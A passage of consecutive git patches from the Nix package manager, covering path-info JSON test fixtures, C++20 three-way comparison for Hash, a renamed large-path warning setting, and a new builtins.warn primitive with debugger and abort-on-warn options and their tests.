+++ b/tests/unit/libstore/data/path-info/empty_impure.json
@@ -0,0 +1,10 @@
+{
+  "ca": null,
+  "deriver": null,
+  "narHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=",
+  "narSize": 0,
+  "references": [],
+  "registrationTime": null,
+  "signatures": [],
+  "ultimate": false
+}
diff --git a/tests/unit/libstore/data/path-info/empty_pure.json b/tests/unit/libstore/data/path-info/empty_pure.json
new file mode 100644
index 00000000000..10d9f508a36
--- /dev/null
+++ b/tests/unit/libstore/data/path-info/empty_pure.json
@@ -0,0 +1,6 @@
+{
+  "ca": null,
+  "narHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=",
+  "narSize": 0,
+  "references": []
+}
diff --git a/tests/unit/libstore/path-info.cc b/tests/unit/libstore/path-info.cc
index 80d6fcfed20..06c662b74bc 100644
--- a/tests/unit/libstore/path-info.cc
+++ b/tests/unit/libstore/path-info.cc
@@ -19,7 +19,15 @@ class PathInfoTest : public CharacterizationTest, public LibStoreTest
     }
 };
 
-static UnkeyedValidPathInfo makePathInfo(const Store & store, bool includeImpureInfo) {
+static UnkeyedValidPathInfo makeEmpty()
+{
+    return {
+        Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="),
+    };
+}
+
+static UnkeyedValidPathInfo makeFull(const Store & store, bool includeImpureInfo)
+{
     UnkeyedValidPathInfo info = ValidPathInfo {
         store,
         "foo",
@@ -50,22 +58,21 @@ static UnkeyedValidPathInfo makePathInfo(const Store & store, bool includeImpure
     return info;
 }
 
-#define JSON_TEST(STEM, PURE)                                             \
+#define JSON_TEST(STEM, OBJ, PURE)                                        \
     TEST_F(PathInfoTest, PathInfo_ ## STEM ## _from_json) {               \
         readTest(#STEM, [&](const auto & encoded_) {                      \
             auto encoded = json::parse(encoded_);                         \
             UnkeyedValidPathInfo got = UnkeyedValidPathInfo::fromJSON(    \
                 *store,                                                   \
                 encoded);                                                 \
-            auto expected = makePathInfo(*store, PURE);                   \
+            auto expected = OBJ;                                          \
             ASSERT_EQ(got, expected);                                     \
         });                                                               \
     }                                                                     \
                                                                           \
     TEST_F(PathInfoTest, PathInfo_ ## STEM ## _to_json) {                 \
         writeTest(#STEM, [&]() -> json {                                  \
-            return makePathInfo(*store, PURE)                             \
-                .toJSON(*store, PURE, HashFormat::SRI);                   \
+            return OBJ.toJSON(*store, PURE, HashFormat::SRI);             \
         }, [](const auto & file) {                                        \
             return json::parse(readFile(file));                           \
         }, [](const auto & file, const auto & got) {                      \
@@ -73,7 +80,10 @@ static UnkeyedValidPathInfo makePathInfo(const Store & store, bool includeImpure
         });                                                               \
     }
 
-JSON_TEST(pure, false)
-JSON_TEST(impure, true)
+JSON_TEST(empty_pure, makeEmpty(), false)
+JSON_TEST(empty_impure, makeEmpty(), true)
+
+JSON_TEST(pure, makeFull(*store, false), false)
+JSON_TEST(impure, makeFull(*store, true), true)
 
 }
diff --git a/tests/unit/libutil/json-utils.cc b/tests/unit/libutil/json-utils.cc
index c9370a74bfd..704a4acb05d 100644
--- a/tests/unit/libutil/json-utils.cc
+++ b/tests/unit/libutil/json-utils.cc
@@ -175,13 +175,16 @@ TEST(optionalValueAt, empty) {
 TEST(getNullable, null) {
     auto json = R"(null)"_json;
 
-    ASSERT_EQ(getNullable(json), std::nullopt);
+    ASSERT_EQ(getNullable(json), nullptr);
 }
 
 TEST(getNullable, empty) {
     auto json = R"({})"_json;
 
-    ASSERT_EQ(getNullable(json), std::optional { R"({})"_json });
+    auto * p = getNullable(json);
+
+    ASSERT_NE(p, nullptr);
+    ASSERT_EQ(*p, R"({})"_json);
 }
 
 } /* namespace nix */

From cfc18a77395b5ef49763f77c3cc67a95f762a0eb Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 16 May 2024 18:46:38 -0400
Subject: [PATCH 237/528] Modernize `Hash` ordering with C++20 `<=>`

Progress on #10832

This doesn't switch to auto-deriving the fields, but by defining `<=>`
we allow deriving `<=>` in downstream types where `Hash` is used.
---
 src/libutil/hash.cc | 17 +++++------------
 src/libutil/hash.hh | 11 +++--------
 2 files changed, 8 insertions(+), 20 deletions(-)

diff --git a/src/libutil/hash.cc b/src/libutil/hash.cc
index d4c9d65337b..2f2ed813848 100644
--- a/src/libutil/hash.cc
+++ b/src/libutil/hash.cc
@@ -50,21 +50,14 @@ bool Hash::operator == (const Hash & h2) const
 }
 
 
-bool Hash::operator != (const Hash & h2) const
+std::strong_ordering Hash::operator <=> (const Hash & h) const
 {
-    return !(*this == h2);
-}
-
-
-bool Hash::operator < (const Hash & h) const
-{
-    if (hashSize < h.hashSize) return true;
-    if (hashSize > h.hashSize) return false;
+    if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
+    if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp;
     for (unsigned int i = 0; i < hashSize; i++) {
-        if (hash[i] < h.hash[i]) return true;
-        if (hash[i] > h.hash[i]) return false;
+        if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) return cmp;
     }
-    return false;
+    return std::strong_ordering::equivalent;
 }
 
 
diff --git a/src/libutil/hash.hh b/src/libutil/hash.hh
index e14aae43c08..ef96d08c978 100644
--- a/src/libutil/hash.hh
+++ b/src/libutil/hash.hh
@@ -86,19 +86,14 @@ private:
 
 public:
     /**
-     * Check whether two hash are equal.
+     * Check whether two hashes are equal.
      */
     bool operator == (const Hash & h2) const;
 
     /**
-     * Check whether two hash are not equal.
+     * Compare how two hashes are ordered.
      */
-    bool operator != (const Hash & h2) const;
-
-    /**
-     * For sorting.
-     */
-    bool operator < (const Hash & h) const;
+    std::strong_ordering operator <=> (const Hash & h2) const;
 
     /**
      * Returns the length of a base-16 representation of this hash.

From 1e99f324d907bc51b99822d3fa3ba7eee21a1d46 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 3 Jun 2024 09:36:05 -0400
Subject: [PATCH 238/528] Fix shellcheck issue

8b86f415c1a8565085e70475933e459a29d67283 was merged from a CI run that
predated the new linting.
---
 tests/functional/flakes/eval-cache.sh | 2 ++
 1 file changed, 2 insertions(+)
 mode change 100644 => 100755 tests/functional/flakes/eval-cache.sh

diff --git a/tests/functional/flakes/eval-cache.sh b/tests/functional/flakes/eval-cache.sh
old mode 100644
new mode 100755
index 90c7abd3c69..0f8df1b91dc
--- a/tests/functional/flakes/eval-cache.sh
+++ b/tests/functional/flakes/eval-cache.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 requireGit

From deac00c6d0a019874016021a74e3d42306afd2e6 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 3 Jun 2024 15:49:15 +0200
Subject: [PATCH 239/528] Rename large-path-warning-threshold ->
 warn-large-path-threshold

---
 src/libstore/globals.hh   | 4 ++--
 src/libstore/store-api.cc | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh
index 1f3548497d4..843e77bcf5f 100644
--- a/src/libstore/globals.hh
+++ b/src/libstore/globals.hh
@@ -1263,10 +1263,10 @@ public:
         )"
     };
 
-    Setting<uint64_t> largePathWarningThreshold{
+    Setting<uint64_t> warnLargePathThreshold{
         this,
         std::numeric_limits<uint64_t>::max(),
-        "large-path-warning-threshold",
+        "warn-large-path-threshold",
         R"(
           Warn when copying a path larger than this number of bytes to the Nix store
           (as determined by its NAR serialisation).
diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index 9b519dd84ba..c67ccd7d4e7 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -168,7 +168,7 @@ std::pair<StorePath, Hash> StoreDirConfig::computeStorePath(
     PathFilter & filter) const
 {
     auto [h, size] = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter);
-    if (size && *size >= settings.largePathWarningThreshold)
+    if (size && *size >= settings.warnLargePathThreshold)
         warn("hashed large path '%s' (%s)", path, renderSize(*size));
     return {
         makeFixedOutputPathFromCA(
@@ -212,7 +212,7 @@ StorePath Store::addToStore(
     });
     LengthSource lengthSource(*source);
     auto storePath = addToStoreFromDump(lengthSource, name, fsm, method, hashAlgo, references, repair);
-    if (lengthSource.total >= settings.largePathWarningThreshold)
+    if (lengthSource.total >= settings.warnLargePathThreshold)
         warn("copied large path '%s' to the store (%s)", path, renderSize(lengthSource.total));
     return storePath;
 }

From d2bfc7e55a8e83964461698f9fbc90b927ef427e Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 3 Jun 2024 15:55:19 +0200
Subject: [PATCH 240/528] Add release note

---
 doc/manual/rl-next/warn-large-path.md | 11 +++++++++++
 1 file changed, 11 insertions(+)
 create mode 100644 doc/manual/rl-next/warn-large-path.md

diff --git a/doc/manual/rl-next/warn-large-path.md b/doc/manual/rl-next/warn-large-path.md
new file mode 100644
index 00000000000..5ee3e307fa7
--- /dev/null
+++ b/doc/manual/rl-next/warn-large-path.md
@@ -0,0 +1,11 @@
+---
+synopsis: Large path warnings
+prs: 10661
+---
+
+Nix can now warn when evaluation of a Nix expression causes a large
+path to be copied to the Nix store. The threshold for this warning can
+be configured using [the `warn-large-path-threshold`
+setting](@docroot@/command-ref/conf-file.md#warn-large-path-threshold),
+e.g. `--warn-large-path-threshold 100M` will warn about paths larger
+than 100 MiB.

From 2d4c9d8f4a41520e53441985b1fce5be87b731c8 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 23 Apr 2024 01:21:50 +0200
Subject: [PATCH 241/528] Add builtins.warn

---
 src/libexpr/eval-settings.cc |  4 ++++
 src/libexpr/eval-settings.hh | 34 +++++++++++++++++++++++++++++----
 src/libexpr/primops.cc       | 37 ++++++++++++++++++++++++++++++++++++
 tests/functional/lang.sh     |  7 +++++++
 4 files changed, 78 insertions(+), 4 deletions(-)

diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc
index 2ccbe327fad..85b1677ea17 100644
--- a/src/libexpr/eval-settings.cc
+++ b/src/libexpr/eval-settings.cc
@@ -48,6 +48,10 @@ EvalSettings::EvalSettings()
 {
     auto var = getEnv("NIX_PATH");
     if (var) nixPath = parseNixPath(*var);
+
+    var = getEnv("NIX_ABORT_ON_WARN");
+    if (var && (var == "1" || var == "yes" || var == "true"))
+        builtinsAbortOnWarn = true;
 }
 
 Strings EvalSettings::getDefaultNixPath()
diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh
index dbfc3b2c776..f1fb539bd25 100644
--- a/src/libexpr/eval-settings.hh
+++ b/src/libexpr/eval-settings.hh
@@ -158,13 +158,39 @@ struct EvalSettings : Config
 
     Setting<bool> builtinsTraceDebugger{this, false, "debugger-on-trace",
         R"(
-          If set to true and the `--debugger` flag is given,
-          [`builtins.trace`](@docroot@/language/builtins.md#builtins-trace) will
-          enter the debugger like
-          [`builtins.break`](@docroot@/language/builtins.md#builtins-break).
+          If set to true and the `--debugger` flag is given, the following functions
+          will enter the debugger like [`builtins.break`](@docroot@/language/builtins.md#builtins-break).
+
+          * [`builtins.trace`](@docroot@/language/builtins.md#builtins-trace)
+          * [`builtins.traceVerbose`](@docroot@/language/builtins.md#builtins-traceVerbose)
+            if [`trace-verbose`](#conf-trace-verbose) is set to true.
+          * [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn)
 
           This is useful for debugging warnings in third-party Nix code.
         )"};
+
+    Setting<bool> builtinsDebuggerOnWarn{this, false, "debugger-on-warn",
+        R"(
+          If set to true and the `--debugger` flag is given, [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn)
+          will enter the debugger like [`builtins.break`](@docroot@/language/builtins.md#builtins-break).
+
+          This is useful for debugging warnings in third-party Nix code.
+
+          Use [`debugger-on-trace`](#conf-debugger-on-trace) to also enter the debugger on legacy warnings that are logged with [`builtins.trace`](@docroot@/language/builtins.md#builtins-trace).
+        )"};
+
+    Setting<bool> builtinsAbortOnWarn{this, false, "abort-on-warn",
+        R"(
+          If set to true, [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn) will throw an error when logging a warning.
+
+          This will give you a stack trace that leads to the location of the warning.
+
+          This is useful for finding information about warnings in third-party Nix code when you can not start the interactive debugger, such as when Nix is called from a non-interactive script. See [`debugger-on-warn`](#conf-debugger-on-warn).
+
+          Currently, a stack trace can only be produced when the debugger is enabled, or when evaluation is aborted.
+
+          This option can be enabled by setting `NIX_ABORT_ON_WARN=1` in the environment.
+        )"};
 };
 
 extern EvalSettings evalSettings;
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 7371bd488f0..9319709c11c 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1043,6 +1043,43 @@ static RegisterPrimOp primop_trace({
     .fun = prim_trace,
 });
 
+static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value & v)
+{
+    state.forceValue(*args[0], pos);
+    if (args[0]->type() == nString)
+        printMsg(lvlWarn, ANSI_WARNING "warning:" ANSI_NORMAL " %1%", args[0]->string_view());
+    else
+        printMsg(lvlWarn, ANSI_WARNING "warning:" ANSI_NORMAL " %1%", ValuePrinter(state, *args[0]));
+
+    if (evalSettings.builtinsAbortOnWarn) {
+        state.error<Abort>("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow();
+    }
+    if ((evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) && state.debugRepl && !state.debugTraces.empty()) {
+        const DebugTrace & last = state.debugTraces.front();
+        state.runDebugRepl(nullptr, last.env, last.expr);
+    }
+    state.forceValue(*args[1], pos);
+    v = *args[1];
+}
+
+static RegisterPrimOp primop_warn({
+    .name = "__warn",
+    .args = {"e1", "e2"},
+    .doc = R"(
+      Evaluate *e1*, which must be a string and print iton standard error as a warning.
+      Then return *e2*.
+      This function is useful for non-critical situations where attention is advisable.
+
+      If the
+      [`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace)
+      or [`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn)
+      option is set to `true` and the `--debugger` flag is given, the
+      interactive debugger will be started when `warn` is called (like
+      [`break`](@docroot@/language/builtins.md#builtins-break)).
+    )",
+    .fun = prim_warn,
+});
+
 
 /* Takes two arguments and evaluates to the second one. Used as the
  * builtins.traceVerbose implementation when --trace-verbose is not enabled
diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh
index a853cfd819d..843ff7cfa99 100755
--- a/tests/functional/lang.sh
+++ b/tests/functional/lang.sh
@@ -36,6 +36,13 @@ nix-instantiate --eval -E 'let x = builtins.trace { x = x; } true; in x' \
 nix-instantiate --eval -E 'let x = { repeating = x; tracing = builtins.trace x true; }; in x.tracing'\
   2>&1 | grepQuiet -F 'trace: { repeating = «repeated»; tracing = «potential infinite recursion»; }'
 
+nix-instantiate --eval -E 'builtins.warn "Hello" 123' 2>&1 | grepQuiet 'warning: Hello'
+nix-instantiate --eval -E 'builtins.addErrorContext "while doing ${"something"} interesting" (builtins.warn "Hello" 123)' 2>/dev/null | grepQuiet 123
+nix-instantiate --eval -E 'let x = builtins.warn { x = x; } true; in x' \
+  2>&1 | grepQuiet -E 'warning: { x = «potential infinite recursion»; }'
+expectStderr 1 nix-instantiate --eval --abort-on-warn -E 'builtins.warn "Hello" 123' | grepQuiet Hello
+NIX_ABORT_ON_WARN=1 expectStderr 1 nix-instantiate --eval -E 'builtins.addErrorContext "while doing ${"something"} interesting" (builtins.warn "Hello" 123)' | grepQuiet "while doing something interesting"
+
 set +x
 
 badDiff=0

From 923cbea2af8eb1ccbd29b6b3542c974081bdddc1 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 23 Apr 2024 18:07:45 +0200
Subject: [PATCH 242/528] builtins.warn: Use logWarning

Constructing ErrorInfo is a little awkward for now, but this does
produce a richer log entry.
---
 src/libexpr/primops.cc | 18 ++++++++++++++----
 1 file changed, 14 insertions(+), 4 deletions(-)

diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 9319709c11c..c20e0c3592a 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1046,10 +1046,20 @@ static RegisterPrimOp primop_trace({
 static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value & v)
 {
     state.forceValue(*args[0], pos);
-    if (args[0]->type() == nString)
-        printMsg(lvlWarn, ANSI_WARNING "warning:" ANSI_NORMAL " %1%", args[0]->string_view());
-    else
-        printMsg(lvlWarn, ANSI_WARNING "warning:" ANSI_NORMAL " %1%", ValuePrinter(state, *args[0]));
+
+    {
+        BaseError msg(args[0]->type() == nString
+                ? std::string(args[0]->string_view())
+                : ({
+                    std::stringstream s;
+                    s << ValuePrinter(state, *args[0]);
+                    s.str();
+                }));
+        msg.atPos(state.positions[pos]);
+        auto info = msg.info();
+        info.level = lvlWarn;
+        logWarning(info);
+    }
 
     if (evalSettings.builtinsAbortOnWarn) {
         state.error<Abort>("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow();

From da82d67022fd77f7f38556f2dabac416110ec55e Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 24 Apr 2024 10:56:32 +0200
Subject: [PATCH 243/528] builtins.warn: Require string argument

... so that we may perhaps later extend the interface.
Note that Nixpkgs' lib.warn already requires a string coercible
argument, so this is reasonable. Also note that string coercible
values aren't all strings, but in practice, for warn, they are.
---
 src/libexpr/primops.cc   | 12 ++++--------
 tests/functional/lang.sh |  6 ++++--
 2 files changed, 8 insertions(+), 10 deletions(-)

diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index c20e0c3592a..5ff7d5314a3 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1045,16 +1045,12 @@ static RegisterPrimOp primop_trace({
 
 static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value & v)
 {
-    state.forceValue(*args[0], pos);
+    // We only accept a string argument for now. The use case for pretty printing a value is covered by `trace`.
+    // By rejecting non-strings we allow future versions to add more features without breaking existing code.
+    auto msgStr = state.forceString(*args[0], pos, "while evaluating the first argument; the message passed to builtins.warn");
 
     {
-        BaseError msg(args[0]->type() == nString
-                ? std::string(args[0]->string_view())
-                : ({
-                    std::stringstream s;
-                    s << ValuePrinter(state, *args[0]);
-                    s.str();
-                }));
+        BaseError msg(std::string{msgStr});
         msg.atPos(state.positions[pos]);
         auto info = msg.info();
         info.level = lvlWarn;
diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh
index 843ff7cfa99..569e7082e91 100755
--- a/tests/functional/lang.sh
+++ b/tests/functional/lang.sh
@@ -38,8 +38,10 @@ nix-instantiate --eval -E 'let x = { repeating = x; tracing = builtins.trace x t
 
 nix-instantiate --eval -E 'builtins.warn "Hello" 123' 2>&1 | grepQuiet 'warning: Hello'
 nix-instantiate --eval -E 'builtins.addErrorContext "while doing ${"something"} interesting" (builtins.warn "Hello" 123)' 2>/dev/null | grepQuiet 123
-nix-instantiate --eval -E 'let x = builtins.warn { x = x; } true; in x' \
-  2>&1 | grepQuiet -E 'warning: { x = «potential infinite recursion»; }'
+
+# warn does not accept non-strings for now
+expectStderr 1 nix-instantiate --eval -E 'let x = builtins.warn { x = x; } true; in x' \
+  | grepQuiet "expected a string but found a set"
 expectStderr 1 nix-instantiate --eval --abort-on-warn -E 'builtins.warn "Hello" 123' | grepQuiet Hello
 NIX_ABORT_ON_WARN=1 expectStderr 1 nix-instantiate --eval -E 'builtins.addErrorContext "while doing ${"something"} interesting" (builtins.warn "Hello" 123)' | grepQuiet "while doing something interesting"
 

From c07500e14dce5036ea4b8cf956cf34df4b282873 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 1 May 2024 23:02:43 +0200
Subject: [PATCH 244/528] refactor: Extract EvalState::{runDebugRepl,canDebug}

---
 src/libexpr/eval-error.cc |  7 +------
 src/libexpr/eval.cc       | 18 ++++++++++++++++++
 src/libexpr/eval.hh       | 12 ++++++++++++
 src/libexpr/primops.cc    | 15 ++++++---------
 4 files changed, 37 insertions(+), 15 deletions(-)

diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc
index 282f5554a96..5a0c675140c 100644
--- a/src/libexpr/eval-error.cc
+++ b/src/libexpr/eval-error.cc
@@ -73,12 +73,7 @@ EvalErrorBuilder<T>::addTrace(PosIdx pos, std::string_view formatString, const A
 template<class T>
 void EvalErrorBuilder<T>::debugThrow()
 {
-    if (error.state.debugRepl && !error.state.debugTraces.empty()) {
-        const DebugTrace & last = error.state.debugTraces.front();
-        const Env * env = &last.env;
-        const Expr * expr = &last.expr;
-        error.state.runDebugRepl(&error, *env, *expr);
-    }
+    error.state.runDebugRepl(&error);
 
     // `EvalState` is the only class that can construct an `EvalErrorBuilder`,
     // and it does so in dynamic storage. This is the final method called on
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index c1dadeee087..6a38bbe4599 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -785,6 +785,24 @@ class DebuggerGuard {
     }
 };
 
+bool EvalState::canDebug()
+{
+    return debugRepl && !debugTraces.empty();
+}
+
+void EvalState::runDebugRepl(const Error * error)
+{
+    if (!canDebug())
+        return;
+
+    assert(!debugTraces.empty());
+    const DebugTrace & last = debugTraces.front();
+    const Env & env = last.env;
+    const Expr & expr = last.expr;
+
+    runDebugRepl(error, env, expr);
+}
+
 void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & expr)
 {
     // Make sure we have a debugger to run and we're not already in a debugger.
diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index 7ca2d6227b3..06a687620d7 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -276,6 +276,18 @@ public:
             return std::shared_ptr<const StaticEnv>();;
     }
 
+    /** Whether a debug repl can be started. If `false`, `runDebugRepl(error)` will return without starting a repl. */
+    bool canDebug();
+
+    /** Use front of `debugTraces`; see `runDebugRepl(error,env,expr)` */
+    void runDebugRepl(const Error * error);
+
+    /**
+     * Run a debug repl with the given error, environment and expression.
+     * @param error The error to debug, may be nullptr.
+     * @param env The environment to debug, matching the expression.
+     * @param expr The expression to debug, matching the environment.
+     */
     void runDebugRepl(const Error * error, const Env & env, const Expr & expr);
 
     template<class T, typename... Args>
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 5ff7d5314a3..459d19e050a 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -780,15 +780,14 @@ static RegisterPrimOp primop_break({
     )",
     .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v)
     {
-        if (state.debugRepl && !state.debugTraces.empty()) {
+        if (state.canDebug()) {
             auto error = Error(ErrorInfo {
                 .level = lvlInfo,
                 .msg = HintFmt("breakpoint reached"),
                 .pos = state.positions[pos],
             });
 
-            auto & dt = state.debugTraces.front();
-            state.runDebugRepl(&error, dt.env, dt.expr);
+            state.runDebugRepl(&error);
         }
 
         // Return the value we were passed.
@@ -1018,9 +1017,8 @@ static void prim_trace(EvalState & state, const PosIdx pos, Value * * args, Valu
         printError("trace: %1%", args[0]->string_view());
     else
         printError("trace: %1%", ValuePrinter(state, *args[0]));
-    if (evalSettings.builtinsTraceDebugger && state.debugRepl && !state.debugTraces.empty()) {
-        const DebugTrace & last = state.debugTraces.front();
-        state.runDebugRepl(nullptr, last.env, last.expr);
+    if (evalSettings.builtinsTraceDebugger) {
+        state.runDebugRepl(nullptr);
     }
     state.forceValue(*args[1], pos);
     v = *args[1];
@@ -1060,9 +1058,8 @@ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value
     if (evalSettings.builtinsAbortOnWarn) {
         state.error<Abort>("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow();
     }
-    if ((evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) && state.debugRepl && !state.debugTraces.empty()) {
-        const DebugTrace & last = state.debugTraces.front();
-        state.runDebugRepl(nullptr, last.env, last.expr);
+    if (evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) {
+        state.runDebugRepl(nullptr);
     }
     state.forceValue(*args[1], pos);
     v = *args[1];

From 831d96d8d79424595b955791dd007c3317b76b3d Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 7 May 2024 09:13:58 +0200
Subject: [PATCH 245/528] builtins.warn: Do not throw EvalError

---
 src/libexpr/primops.cc | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 459d19e050a..9741e317730 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1056,7 +1056,8 @@ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value
     }
 
     if (evalSettings.builtinsAbortOnWarn) {
-        state.error<Abort>("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow();
+        // Not an EvalError or subclass, which would cause the error to be stored in the eval cache.
+        state.error<Error>("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow();
     }
     if (evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) {
         state.runDebugRepl(nullptr);

From 70b10362247ef563ef4cad02709ec2bdb5564206 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 22 May 2024 12:51:46 +0200
Subject: [PATCH 246/528] builtins.warn: Use new EvalBaseError + "evaluation
 warning"

---
 doc/manual/rl-next/builtins-warn.md | 10 ++++++++++
 src/libexpr/eval-error.cc           |  8 ++++++++
 src/libexpr/eval-error.hh           | 20 +++++++++++++++++---
 src/libexpr/primops.cc              | 12 +++++++++---
 src/libutil/error.cc                |  5 ++++-
 src/libutil/error.hh                |  5 +++++
 6 files changed, 53 insertions(+), 7 deletions(-)
 create mode 100644 doc/manual/rl-next/builtins-warn.md

diff --git a/doc/manual/rl-next/builtins-warn.md b/doc/manual/rl-next/builtins-warn.md
new file mode 100644
index 00000000000..0f7a6ebba80
--- /dev/null
+++ b/doc/manual/rl-next/builtins-warn.md
@@ -0,0 +1,10 @@
+---
+synopsis: "New builtin: `builtins.warn`"
+issues: 306026
+prs: 10592
+---
+
+`builtins.warn` behaves like `builtins.trace "warning: ${msg}`, has an accurate log level, and is controlled by the options
+[`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace),
+[`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and
+[`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn).
diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc
index 5a0c675140c..bd84e0428a3 100644
--- a/src/libexpr/eval-error.cc
+++ b/src/libexpr/eval-error.cc
@@ -70,6 +70,13 @@ EvalErrorBuilder<T>::addTrace(PosIdx pos, std::string_view formatString, const A
     return *this;
 }
 
+template<class T>
+EvalErrorBuilder<T> & EvalErrorBuilder<T>::setIsFromExpr()
+{
+    error.err.isFromExpr = true;
+    return *this;
+}
+
 template<class T>
 void EvalErrorBuilder<T>::debugThrow()
 {
@@ -85,6 +92,7 @@ void EvalErrorBuilder<T>::debugThrow()
     throw error;
 }
 
+template class EvalErrorBuilder<EvalBaseError>;
 template class EvalErrorBuilder<EvalError>;
 template class EvalErrorBuilder<AssertionError>;
 template class EvalErrorBuilder<ThrownError>;
diff --git a/src/libexpr/eval-error.hh b/src/libexpr/eval-error.hh
index 27407eb6e92..fe48e054bf2 100644
--- a/src/libexpr/eval-error.hh
+++ b/src/libexpr/eval-error.hh
@@ -15,27 +15,39 @@ class EvalState;
 template<class T>
 class EvalErrorBuilder;
 
-class EvalError : public Error
+/**
+ * Base class for all errors that occur during evaluation.
+ *
+ * Most subclasses should inherit from `EvalError` instead of this class.
+ */
+class EvalBaseError : public Error
 {
     template<class T>
     friend class EvalErrorBuilder;
 public:
     EvalState & state;
 
-    EvalError(EvalState & state, ErrorInfo && errorInfo)
+    EvalBaseError(EvalState & state, ErrorInfo && errorInfo)
         : Error(errorInfo)
         , state(state)
     {
     }
 
     template<typename... Args>
-    explicit EvalError(EvalState & state, const std::string & formatString, const Args &... formatArgs)
+    explicit EvalBaseError(EvalState & state, const std::string & formatString, const Args &... formatArgs)
         : Error(formatString, formatArgs...)
         , state(state)
     {
     }
 };
 
+/**
+ * `EvalError` is the base class for almost all errors that occur during evaluation.
+ *
+ * All instances of `EvalError` should show a degree of purity that allows them to be
+ * cached in pure mode. This means that they should not depend on the configuration or the overall environment.
+ */
+MakeError(EvalError, EvalBaseError);
 MakeError(ParseError, Error);
 MakeError(AssertionError, EvalError);
 MakeError(ThrownError, AssertionError);
@@ -90,6 +102,8 @@ public:
 
     [[nodiscard, gnu::noinline]] EvalErrorBuilder<T> & addTrace(PosIdx pos, HintFmt hint);
 
+    [[nodiscard, gnu::noinline]] EvalErrorBuilder<T> & setIsFromExpr();
+
     template<typename... Args>
     [[nodiscard, gnu::noinline]] EvalErrorBuilder<T> &
     addTrace(PosIdx pos, std::string_view formatString, const Args &... formatArgs);
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 9741e317730..22d7f188fe8 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -806,7 +806,7 @@ static RegisterPrimOp primop_abort({
         NixStringContext context;
